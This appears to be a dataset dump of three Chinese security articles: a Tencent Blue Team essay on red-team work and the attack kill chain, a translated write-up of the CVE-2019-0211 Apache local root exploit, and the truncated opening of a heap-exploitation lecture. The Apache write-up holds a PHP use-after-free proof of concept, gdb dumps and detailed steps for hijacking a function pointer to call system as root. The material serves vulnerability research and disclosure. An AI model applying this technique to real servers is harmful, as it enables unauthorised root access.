text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：[TSRC & 腾讯蓝军] Mark4z5(小五)
公众号：<https://mp.weixin.qq.com/s/8iJs2ON66NY1Jdbt7c-BTA>**
### 一. 高悬的达摩克利斯之剑
2017年4月，黑客组织Shadow
Brokers公布一批美国国家安全局（NSA）的网络漏洞军火库。背靠国家，NSA拥有强大的通杀型0day漏洞挖掘和利用能力，这批漏洞库指哪打哪，堪称军火库中的核武器，其中就包含Windows永恒之蓝漏洞利用工具。军火库的泄露也造成了核武器平民化，被黑产利用来传播勒索蠕虫病毒。还记得WannaCry肆虐的景象吗？全球数百万台电脑包括大型企业、政府机构都受攻击，威力可见一斑。
而这只是无数攻击案例中的一个。
人们在享受网络技术发展带来的便利时，鲜少能意识到头上高悬的达摩克利斯之剑——安全。层出不穷的漏洞越发多样化，这把剑高悬在我们头顶摇摇欲坠，没有什么防护手段可以一劳永逸一招制敌，任何疏忽大意都可能给黑客提供可乘之机。
然而具体到单个企业层面，自身安全事故却相对低频，且在业务层面极少有直接感知。尚未发生事故，或者说攻击没有直接造成损失，很可能会给人带来安全防护足够完善、业务数据足够安全的错觉，甚至导致防护手段逐渐落后，安全流程越发陈旧，人员意识日益懈怠。
等到那把剑真的掉落之时，一切都将为时太晚。
### 二. 从大到强的试炼之路
这也解释了为什么近年来全球安全事故频发，国内外都极为重视网络安全。正如国家提出， **没有网络安全就没有国家安全。**
网络安全和信息化是事关国家安全和国家发展、事关广大人民群众工作生活的重大战略问题，是把我国从网络大国建设为网络强国的关键。
但并不是所有漏洞都能通过自动化工具检测发现。因此，国内外都在如火如荼地开展国家网络安全实战演练。中国公安部组织的护网行动集结全国优秀渗透测试工程师开展风险可控的攻击演习，美国国土安全部组织的Cyber
Storm也每两年开展一次网络安全实战演练。
从大到强，网络安全实战演练必不可少。它是网络安全建设的试金石和助燃器，是检验企业安全防护水平的试炼之地。只有持续暴露网络安全防护、监测和应急处置的缺陷并优化改进，才能抵挡黑客不断变换的猛烈攻击。
那么问题来了，谁来引领这条“试炼之路”呢？
对于腾讯这样体量庞大，业务繁多，拥有海量数据资产公司而言，需要一支既了解公司业务，又能够以黑客视角持续渗透公司资产的内部攻击队伍，这样才会更容易意识到公司各项安全隐患，把风险消弭于萌芽之前。
腾讯蓝军，就此应运而生。
### 三. 当我们谈蓝军时，我们在谈些什么
蓝军这个概念，其实军事领域早已有之。
国内蓝军扮演假想敌（即敌方部队），与红军（我方正面部队）开展实战演习，帮助红军查缺补漏，提升作战能力。网络安全红蓝对抗的概念也源自于此，通过开展APT高级持续性威胁攻击演习来全方位检验企业的安全稳健性和威胁监测及响应能力。
红军作为企业防守方，通过安全加固、攻击监测、应急处置等手段来保障企业安全，而蓝军作为攻击方，以发现安全漏洞，获取业务权限或数据为目标，利用各种攻击手段，试图绕过红军层层防护，达成既定目标。需要注意，欧美采用红队（Red
Team）代表攻击方，蓝队（Blue Team）代表防守方，颜色代表正好相反，常常容易让大家搞混。
企业网络蓝军工作内容主要包括 **"渗透测试（Penetration Testing）"和"红蓝对抗（Red Teaming）"**
，其实所使用的攻击技术大同小异，主要区别在侧重点不同。渗透测试侧重尽量用较短的时间去挖掘尽可能多的安全漏洞，一般不太关注攻击行为是否被监测发现，即便被发现也不会立刻遭拦截，
**目的是帮助业务系统暴露和收敛更多风险**
。红蓝对抗相反，通常采用背靠背方式贴近真实攻击，侧重绕过防御体系，毫无声息达成获取业务权限或数据的目标，不求发现全部风险点，因为攻击动作越多被发现的概率越大，一旦被发现，红军就会把蓝军踢出战场，
**目的是检验在真实攻击中纵深防御能力、告警运营质量、应急处置能力** ，当然这过程中也会发现业务系统安全漏洞。
腾讯蓝军（Tencent
Force）由腾讯TEG安全平台部于2006年组建。彼时自动化漏洞检测能力还比较弱，更多的安全漏洞得靠人肉发现，在这个背景下，腾讯蓝军正式成立，从此捷报频传，十余年专注于前沿安全攻防技术研究、实战演练、渗透测试、安全评估、培训赋能等，采用攻击者视角在真实网络环境开展实战演习，检验安全防护策略、响应机制的充分性与有效性，并推动优化提升。
**可见，当我们谈蓝军时，我们在谈的绝不仅仅只是单纯的模拟黑客，而是环环相扣的周密筹划，缜密侦查、精心设计，以及针对性的防守建议等等。**
### 四. 环环相扣：浅析网络攻击杀伤链
想要了解蓝军的整个攻击生命周期，可以通过网络攻击杀伤链来进行：首先通过多种手段获取立足点，在此基础上通过权限提升、信息发现和横向移动扩大控制权，最后达成数据收集、窃取和篡改破坏等目的。
**下面结合腾讯蓝军十多年的攻防实战演练经验，试对各个阶段的攻击手法与技术简要分析如下：**
#### 第一阶段：获取立足点
**目标侦查：**
利用一系列侦查手段获取目标的资产、人员、环境等信息，为实施攻击提供基础信息支持，信息的全面性和准确性很大程度确定攻击的路径、战果和效率。比如通过DNS域传送漏洞、域名注册信息反查、域名枚举等手段获取域名资产信息，通过域名解析、网段扫描等手段获取IP资产信息，通过网站扫描、端口探测等手段获取程序指纹信息，通过在搜索引擎、社交网站、网盘、Github等平台检索以及社工欺骗等手段获取组织架构、员工信息、源代码、账户密码、常用软件、常上网站、安全防护策略、外包服务供应商等信息，通过实地考察获取职场和机房的网络、门禁、办公等环境信息。
**武器构建：**
根据前期收集到的信息，针对性制作攻击代码。如果尝试对HR进行攻击，那么可以设计植入木马的简历文档，如果计划从线上服务入手，可以通过自动化扫描、人工测试等手段对目标资产进行漏洞探测，发现可利用的0day漏洞。在目前公开的APT案例中，至少有80%是从攻击员工办公电脑入手，因为人是系统最大的漏洞，利用社会工程学的攻击成功率高，同时攻陷员工电脑后更容易摸清内部网络及扩大控制范围。
**攻击投放：**
利用各种手段将攻击载荷投递到目标。比如利用命令注入、文件上传、SQL注入、SSRF、XSS、溢出等漏洞直接远程攻击线上服务，利用邮件钓鱼、U盘摆渡攻击、水坑攻击、软硬件供应链攻击、网络劫持等方式入侵服务器、员工电脑、网络设备。
**执行利用：**
不同环境采用不同的执行方式，在受限环境可利用系统组件或合法程序执行加载恶意代码，从而突破系统限制或隐藏自身，达到木马顺利运行的目的。比如在Windows环境使用系统内置程序PowerShell执行脚本，恶意代码仅存在于内存中，文件不落地，类似可使用的执行方式非常多。
**命令控制：** 建立具有各种隐蔽级别的通道来操控目标设备或进入目标内网。比如通过WebShell（如Caidao、Weevely）、Reverse
Shell（如Bash/Python/PowerShell）、远控木马RAT（如Cobalt Strike/Metasploit
Meterpreter）、远程桌面访问软件（如TeamViewer/VNC），使用多层代理、传输加密、端口复用、Domain
Fronting等方式、采用TCP/UDP/HTTP/HTTPS/DNS/ICMP/SMTP等网络协议，甚至模仿其他正常应用通信流量，做到实时监控和遥控目标设备；通过端口转发（如netsh/iptables）、Socks代理（如ssh
-D）、HttpTunnel（如reGeorg）、企业VPN通道等方式穿透企业内网，突破网络边界。
**防御躲避：**
利用检测对抗技术、攻击痕迹清除等方式逃避入侵检测、杀毒软件等安全系统的发现和追溯。比如使用肉鸡发起攻击避免暴露黑客真实IP，构造畸形请求包绕过WAF，将恶意代码注入到正常合法进程/文件内，利用白名单、反调试、无文件等手段绕过病毒检测（如使用知名企业合法数字证书给恶意程序签名），清除或破坏应用访问/系统登陆操作日志，降低行为活动频率等等。
**权限维持：**
通过劫持合法程序、驻留系统自启动后门、创建隐藏管理员账户等方式实现长期控制，即使系统重启或重装也不会消失。比如替换系统辅助功能（如放大镜、软键盘）、劫持动态连接库、利用Windows服务启动项/Linux定时任务crontab配置随系统自启动、设置suid特权程序、安装bootkit木马、盗用原有合法账户密码等等。
#### 第二阶段：扩大控制权
**权限提升：**
利用系统弱点或配置不当等方式获取超级管理员级别权限。比如利用最新Windows/Linux内核提权漏洞，管理员权限运行的第三方软件存在漏洞可利用，管理员权限定时执行的程序文件因权限设置不当致使普通用户也可篡改程序，管理员密码随意存放在服务器普通文件里等等。
**信息发现：**
通过本地搜索、内网扫描和嗅探等方式确认已可以获取或控制的数据及进一步了解内部网络和可能利用的风险点。比如通过本机翻箱倒柜获取用户列表、进程列表、网络连接、配置文件、程序代码、数据库内容、运维操作记录、系统账户密码、浏览器保存密码、邮件内容等信息；通过内存导出、键盘记录、网络嗅探获取用户凭据；通过查询Windows域全部账户和主机，分析出企业完整的组织机构/人员、重要机器等信息；通过内网主机存活探测、远程服务探测描绘出内网结构拓扑图、内网应用服务以及可能的风险点；通过访问内部OA网站尤其是知识分享平台获取业务架构、代码、服务器等信息。
**横向移动：**
通过内网渗透攻击获取更多服务器权限和数据。一般来说黑客偏爱攻击拥有企业网络、机器、数据相关管理权限的系统，比如说Windows域控、补丁服务器、邮箱系统、内部即时通讯工具、跳板机、运维运营平台、密码系统、代码管理平台等，道理很简单，一旦攻破这些系统就几乎能够控制全部机器，进而获取目标业务数据；黑客也喜欢攻击企业高管、目标业务员工、网络管理员的电脑，因为这些人员掌握的信息更重要，也更接近黑客目的。其中一种常见的内网渗透思路是由于大多数企业内部网络隔离精细度不足（尤其是大型企业服务器数量太多，隔离成本大），内网站点安全性低（重点防御外部攻击，内部系统安全投入少），内网高危应用服务没有鉴权认证（比如Docker/Kubernetes/Redis/Hadoop等应用在未鉴权的情况下可造成服务器直接被入侵控制，不少人以为内网很安全所以没有开启鉴权），服务器帐号密码普遍通用（为了方便管理甚至全部服务器密码都一样），这些情况可以让黑客在内网渗透时很轻易获取到一些服务器的控制权限，然后逐一登陆服务器抓用户登陆凭证（一台服务器存在多个账户），再使用这些凭证尝试登陆其他服务器，若登陆成功后又继续抓其他用户登陆凭证，这些新拿到的凭证又可能可以登陆其他服务器，通过反复尝试登陆、抓取凭证这一经典套路，逐步扩大服务器控制范围，最终甚至可能做到全程使用合法用户凭证登陆任意服务器，就好似运维管理员正常登陆进行运维一样。
#### 第三阶段：达成目的
**数据收集：** 搜集源代码、数据库、资产信息、技术方案、商业机密、邮件内容等攻击目标数据。
**数据窃取：**
对数据进行加密、压缩、分段处理，通过HTTP(S)/FTP/DNS/SMTP等网络协议主动对外传送、使用Web对外提供访问下载、物理U盘拷贝，或业务接口直接查询回显等方式将数据传输到黑客手中。
**篡改破坏：** 通过修改数据进行非法获利，摧毁数据进行打击报复等。
具体攻击手法非常多，不是每次攻击都会涉及到方方面面。比如说攻击目的是获取某系统数据，假设该系统本身存在SQL注入漏洞，那直接从外网利用SQL注入漏洞获取数据就能达成目的，不用考虑那么多复杂的攻击手法，黑客会根据目的和现状倒推出最佳手段，而不是盲目开展。
安全演习也是如此，根据演习诉求和目的按需开展。MITRE
ATT&CK攻击矩阵是一个基于全球APT组织真实入侵事件中整理出攻击战术、技术和过程的知识库，很有参考价值，不过有些操作实例不够详实，我们进行了细化和扩展，后续也会持续分享出来。
### 五. 从理论到实战：论腾讯蓝军的崛起
古人云，纸上得来终觉浅，绝知此事要躬行。上文详述了网络攻击杀伤链，腾讯蓝军成军十余载，正是一个从理论到实战，从纸上到躬行的过程。
**自2006年成军以来**
，我们对QQ、QQ空间、微信、支付、小程序、腾讯云、游戏等重要业务都开展过渗透测试，发现并消除了大量潜在安全风险。去年公司大力推进自研业务上云，安全平台部为自研上云提供安全规范、安全防护、安全评估、安全情报、安全检测等一整套安全解决方案和服务，蓝军也紧跟发展步伐，重点对多个腾讯云基础组件开展渗透测试，提升腾讯云的整体安全性。
**2008年**
，腾讯自主研发的服务器安全系统（代号“洋葱”）正式上线，蓝军开启APT红蓝对抗演练，每年开展数十次演习持续助力提升检测能力。APT红蓝对抗演习分成两种模式，一种是
**策略场景反向验证**
，侧重检验策略的覆盖深广程度和有效性，蓝军梳理各种攻击场景尽可能全面的攻击手法，包括网上已经公开和自己研究具有对抗意义的技术，不定期在测试环境进行批量演练，在生产环境进行突袭演练。另一种是
**以获取服务器或数据控制权限为目标的完整攻击演习**
，侧重检验在真实攻击中纵深检测能力、告警运营质量、应急处置能力以及业务安全状况。重要业务的外网安全防护往往比较强，直接攻击的难度大，而一部分安全投入少的业务和安全意识薄弱的人员就成为了黑客的突破口，首先黑进内网，然后渗透内网，间接攻击重要业务。蓝军陆续对重要业务和基础IT设施展开多次渗透，帮助提升内网的安全防护能力和攻击检测能力。商业间谍/内鬼往往天然拥有一些合法权限，潜伏久了也可能了解到一些安全检测策略，所以这些也是蓝军扮演的角色，帮助公司增强监控和审计能力。
**2015年**
，蓝军和DDoS防护团队（“宙斯盾”）联合全面梳理DDoS防护算法覆盖场景，对宙斯盾开展多次DDoS攻击演习检验，发现多项防护算法缺陷，之后结合业务场景和行业发展针对性的配合优化，明显提升了宙斯盾的服务质量。
**2016年** ，蓝军涉足风控安全，对腾讯前端风控安全开展多次红蓝对抗，提供大量优化建议和方向，帮助完善构建了基于前端的风控能力（腾讯防水墙了解一下）。
**2018年**
，蓝军正式对外赋能，应数字广东、腾讯云的要求，蓝军对数字广东开展红蓝对抗演习，蓝军从远程渗透外网站点、员工钓鱼邮件攻击、抵达办公职场展开物理攻击等方面发起攻击发现多个安全风险，助力数字广东提高安全加固和防护能力。同时，在公安部去年组织的贵阳大数据及网络安全攻防演练活动中，由数字广东安全、腾讯云安全、科恩、腾讯IT、安平组成的蓝军联合团队凭借可攻可守的能力，进攻时获得了最高分，防守时保障靶标一直到演练结束都没有被攻破，成为唯一没被攻破的红色靶标，也荣获“技术创新一等奖”。
经过多年激烈的红蓝对抗演习，红蓝双方你追我赶，相互促进，公司安全防护体系有着非常大的提升，服务器安全系统（“洋葱”）、DDoS防护系统（“宙斯盾”）、Web应用防火墙（“门神”）、Web漏洞检测系统（“洞犀”）等公司安全系统的技术能力都取得了不错的提升。在腾讯产业互联网大战略下，这些系统也在进行沉淀总结，将十余年的安全积累输出到第三方用户，如联合腾讯云安全团队共同打造的大禹DDoS防护产品、护航“一部手机游云南”的洞悉产品、腾讯云红蓝对抗专家服务等，如检测覆盖网络攻击杀伤链各环节的
“洋葱”对外也推出了产品化版本等。
另外在2012年成立的腾讯安全应急响应中心（TSRC），借助外部安全研究员/情报员的力量，鼓励在安全可靠的前提下和我们并肩作战，发现腾讯外网业务安全隐患和防护缺陷，至今有国内外数万名参与进来，这可以认为是腾讯蓝军的扩展延伸。在这里也非常感谢外部力量对我们的帮助。
热烈欢迎各位渗透测试/红蓝对抗专家投递简历加入我们，或者成为腾讯安全白帽，和我们一起守护亿万用户安全。
### 六. 前路虽长，上下求索
网络安全的本质在对抗，对抗的本质在攻防两端能力较量，但攻防从来都是不对等的，攻击方优势远大于防御方，蓝军的存在就是帮助消灭不对等。首先，企业网络蓝军与国家级APT组织相比，在人力、物力、财力等资源投入存在非常大的悬殊，蓝军如何持续及时掌握最新APT攻击技术是非常有挑战的事情。其次，攻击场景众多以及业务需求旺盛，需要开展的演练工作非常多，人力有限的蓝军如何高效完成使命也非常有挑战。
相信未来会有更多企业建设网络蓝军，投入更多资源研究前沿APT攻击技术，以及建设更智能的蓝军自动化攻击平台提高演习效率。我们也会把实战演练中的技术心得、攻防思考等第一时间分享出来，敬请关注腾讯蓝军官方网站
<https://force.tencent.com/> 。
* * * | 社区文章 |
原文地址：<https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html>
## Introduction
对于从2.4.17版本（2015年10月9日发布）到2.4.38版本（2019年4月1日发布）之间的Apache
HTTP系统来说，由于存在数组访问越界导致的任意函数调用问题，导致系统容易受到本地root提权攻击。当Apache正常重新启动(apache2ctl
graceful）时，就会触发该漏洞。 在标准Linux配置环境中，logrotate程序每天早上6:25都会运行重启命令，以便重置日志文件句柄。
该漏洞会影响mod_prefork、mod_worker和mod_event等模块。下面，我们将详细介绍该漏洞的利用过程。
## Bug description
在MPM prefork模式中，主服务器进程是以root用户权限运行的，用于管理一个单线程、低权限（www-data）的工作进程池，处理各种HTTP请求。为了获得worker的反馈，Apache维护了一个共享内存区域(SHM)，即scoreboard，用于存放各种信息，如worker
PID及其处理的最后一个请求。每个worker都要维护与其PID相关联的process_score结构，并且赋予了针对SHM的完整读/写权限。
ap_scoreboard_image：指向共享内存块的指针
(gdb) p *ap_scoreboard_image
$3 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
与PID为19447的worker相关联的共享内存示例
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
pid = 19447,
generation = 0,
quiescing = 0 '\000',
not_accepting = 0 '\000',
connections = 0,
write_completion = 0,
lingering_close = 0,
keep_alive = 0,
suspended = 0,
bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket; <- index for all_buckets
}
当Apache正常重启时，它的主进程会杀死原先的worker，并代之以新的worker。同时，主进程将使用原来worker的bucket值来访问其all_buckets数组。
all_buckets
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
pod = 0x7f19db2c7408,
listeners = 0x7f19db35e9d0,
mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <-- }
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
...
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- ...
}
需要注意的是，这里并没有进行边界检查。因此，恶意的worker可以更改其bucket索引并使其指向共享内存，以便在重新启动时控制prefork_child_bucket结构。
最后，就可以在删除权限之前调用mutex->meth->child_init()了。这就意味着，攻击者能够以root身份调用任意函数。
## Vulnerable code
下面，我们将深入考察server/mpm/prefork/prefork.c，以弄清楚漏洞所在的位置以及相应的漏洞机制。
* 恶意worker修改共享内存中的bucket索引，使其指向自己的结构（也位于SHM中）。
* 第二天早上6:25，logrotate请求从Apache正常重启。
* 于是，Apache主进程会首先“清剿”原来的worker，然后生成新的worker。
* 在“消灭”原来的worker时，主要是通过向worker发送SIGUSR1来完成的。按照预期，它们应该立即退出。
* 然后，调用prefork_run()([L853](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L853 "L853"))来生成新的worker。由于retained->mpm->was_graceful([L861](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L861 "L861"))为true，所以，worker并不会立即重启。
* 所以，我们将进入主循环([L933](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L933 "L933"))并监视已经杀死的worker的PID。当原来的worker死亡时，ap_wait_or_timeout()将返回其PID([L940](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L940 "L940"))。
* 与该PID相关联的process_score结构的索引将存储到child_slot([L948](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L948 "L948"))中。
* 如果worker没有完全被杀死([L969](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L969 "L969"))，则使用ap_get_scoreboard_process(child_slot)->bucket作为其第三个参数来调用make_child()。 如前所述，这时bucket的值已经被一个恶意worker篡改了。
* make_child()将创建一个新的子进程，然后利用fork()处理([L671](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L671 "L671"))主进程。
* 这样，就会出现OOB读取([L691](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691 "L691"))，从而导致my_bucket落入攻击者的控制之下。
* 之后，child_main()被调用([L722](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L722 "L722")，[L433](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433 "L433"))。
* `SAFE_ACCEPT(<code>)`只有在Apache监听两个或更多端口时才会执行`<code>`，这种情况经常发生，因为服务器会监听HTTP(80)和HTTPS(443)。
* 假设执行`<code>`，则调用apr_proc_mutex_child_init()，这将导致调用(*mutex)->meth->child_init(mutex, pool, fname)，其中mutex位于攻击者控制之下。
* 权限将在执行后删除(L446)。
## Exploitation
漏洞利用分四步进行：1.获取worker进程的R/W访问权限。2.在SHM中编写一个伪prefork_child_bucket结构。3.让all_buckets[bucket]指向该结构。4.待到上午6:25，就能调用任意函数了。
优点：主进程永远不会退出，因此，我们可以通过读取/proc/self/maps（ASLR/PIE无用）来获悉所有内容的映射位置——当worker死亡（或发生段错误）时，主进程会自动重启worker，因此，不会出现Apache的DOSing问题。
缺点：PHP不允许对/proc/self/mem进行读写操作，因此，我们无法直接编辑SHM——all_buckets在正常重启后会被重新分配（！）
### 1.获取worker进程的R/W访问权限
#### PHP UAF 0-day
由于mod_prefork经常与mod_php结合使用，因此，可以考虑通过PHP来利用它。实际上，[CVE-2019-6977](https://github.com/cfreal/exploits/tree/master/CVE-2019-6977-imagecolormatch
"CVE-2019-6977")将是一个完美的候选者，但当我开始编写这个漏洞的利用代码时，相应的利用代码还没有公之于众。于是，我转而求助于PHP
7.x版本中0day UAF（在PHP 5.x版本中好像也行得通）：
PHP UAF
<?php
class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "\n");
return $p;
}
get_aslr();
这是一种针对PHP对象的UAF漏洞：我们释放了$y[0]（X的一个实例），但是仍然可以通过$this来使用相应的内存。
#### UAF to Read/Write
在这里，我们希望实现两个目标：通过读取内存以查找all_buckets的地址；编辑SHM，以更改bucket索引，并添加自定义的mutex结构
幸运的是，在内存中PHP的堆位于两者之前。
PHP的堆、ap_scoreboard_image->*和all_buckets的内存地址
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
(gdb) p *ap_scoreboard_image
$14 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0
因为我们触发的是针对PHP对象的UAF，所以，该对象的任何属性也可以在释放后使用；我们可以将这个zend_object UAF转换为zend_string
UAF。这一点非常有用，因为zend_string的结构如下所示：
(gdb) ptype zend_string
type = struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
}
属性len存放的是字符串的长度。通过递增这个值，我们可以进一步读写其他内存空间，从而访问我们感兴趣的两个内存区域：SHM和Apache的all_buckets。
#### Locating bucket indexes and all_buckets
我们希望修改特定worker_id的ap_scoreboard_image->parent[worker_id]->bucket。
幸运的是，该结构总是从共享内存块的开头部分开始的，因此很容易进行定位。
共享内存的位置与目标process_score结构
root@apaubuntu:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052 /dev/zero (deleted)
(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044
我们可以利用我们对prefork_child_bucket结构的了解，来定位all_buckets：
bucket项的重要结构
prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <-- }
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
all_buckets[0]->mutex与all_buckets[0]位于相同的内存区域中。由于meth是一个静态结构，因此，它将位于libapr的.data内存中。同时，由于meth指向在libapr中定义的函数，因此，所有的函数指针都将位于libapr.text中。
因为我们可以通过/proc/self/map获悉这些区域的地址，所以，我们可以遍历Apache内存中的每一个指针，找到一个与该结构匹配的指针。它通常是all_buckets[0]。
正如前面所提到的，all_buckets的地址在每次正常重新启动时都会发生变化。这意味着，当我们的漏洞利用代码触发时，all_buckets的地址将与我们所找到的地址不同。我们必须考虑到这一点；详情将在后文中加以介绍。
### 2.在SHM中编写一个伪prefork_child_bucket结构
#### Reaching the function call
任意函数调用的代码路径如下所示：
bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
#### Calling something proper
为了利用这个漏洞，我们要让( _mutex)- >meth->child_init指向zend_object_std_dtor(zend_object
_object)，具体如下所示：
mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
其中，pDestructor被设置为system， &ht->arData[0]->val则是一个字符串。
### 3\. 让all_buckets[bucket]指向该结构
#### Problem and solution
现在，如果all_buckets的地址在两次重新启动之间保持不变，我们的漏洞利用代码则能够：
* 能够读写PHP堆后面的所有内存空间
* 通过匹配其结构查找all_buckets
* 把我们的结构放入SHM
* 更改shm中的某个process_score.bucket，以便让all_bucket[bucket]->mutex指向我们的payload代码
随着all_buckets的地址发生变化，我们可以通过两件事来提高可靠性：对SHM进行喷射处理，并使用所有process_score结构——每个PID一个。
#### Spraying the shared memory
如果all_buckets的新地址离旧地址不远的好，my_bucket将指向我们的结构。因此，我们可以将其全部喷射到SHM的未使用部分上，而不是将我们的prefork_child_bucket结构放到SHM的某个地址中问题是该结构也用作zend_object，因此，它的大小为
(5 * 8 =)
40个字节，用来保存zend_object.properties。实际上，在这么小的内存空间上喷射一个大的结构对我们来说没什么帮助。为了解决这个问题，我们叠加了两个中心结构apr_proc_mutex_t和zend_array，并将它们的地址喷射到共享内存的其余部分。这样的话，就会导致prefork_child_bucket.mutex和zend_object.properties指向同一地址。现在，如果all_bucket重分配到离其原始地址不远的地方，则my_bucket将位于喷射区域中。
#### Using every process_score
Apache的每个worker都有一个对应的process_score结构，以及一个bucket索引。我们可以修改每个processscore.bucket的值，而不是更改某个processscore.bucket的值，这样，它们就可以覆盖内存的其他部分，例如：
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
这使我们的成功率需要乘以apache的worker的数量。在重新生成（respawn）时，只有一个worker获得有效的bucket号，但这不是问题，因为其他worker会崩溃，并立即重新生成（respawn）。
#### Success rate
不同的Apache服务器具有不同数量的worker。拥有更多的worker意味着我们可以在更少的内存上喷射mutex的地址，但这也意味着我们可以为all_buckets指定更多的索引。换句话说，拥有更多worker可以提高我们的成功率。在具有4个worker（默认数量）的测试Apache服务器上进行多次实验后，我发现成功率大约为80％左右。如果添加更多worker，成功率随之提高，最后成功率提升至100％左右。
同样，如果漏洞利用失败，它可以在第二天重新启动，因为Apache仍将正常重启。然而，Apache的error.log将保存关于其worker的segfaulting的通知。
### 4.待到早上6:25，漏洞触发
## Vulnerability timeline
* 2019-02-22 首次发现，将相关情况通过电子邮件发送至Security[at]Apache[dot]org，包括相关说明和PoC
* 2019-02-25 确认漏洞的，开始修复
* 2019-03-07 Apache的安全小组发送了一个补丁程序供我审查，并分配相应的CVE编号
* 2019-03-10 确认补丁程序有效
* 2019-04-01 发布Apache HTTP2.4.39版本
感谢Apache团队给予及时响应和补丁，行动力太赞了。这是一次非常好的漏洞提交经历。不过，PHP从未就UAF安全漏洞给予响应。
## Questions
为何取这个名字？
CARPE：代表CVE-2019-0211 Apache Root权限提升
DIEM：每天触发一次漏洞
不取这样的名字，说不过去啊。
这种利用方法是否可以进一步改进？
当然。例如，bucket索引的计算方法并不稳定。这是PoC和正确利用漏洞之间的权衡问题。顺便说一下，我添加了大量的注释，这是为了帮助大家理解。
该漏洞是否是针对PHP的？
不，它的目标是Apache HTTP服务器。
## Exploit
漏洞利用代码很快就会公之于众。 | 社区文章 |
# 【技术分享】现代化的堆相关漏洞利用技巧
|
##### 译文声明
本文是翻译文章，文章来源：security.cs.rpi
原文地址：<http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：180RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
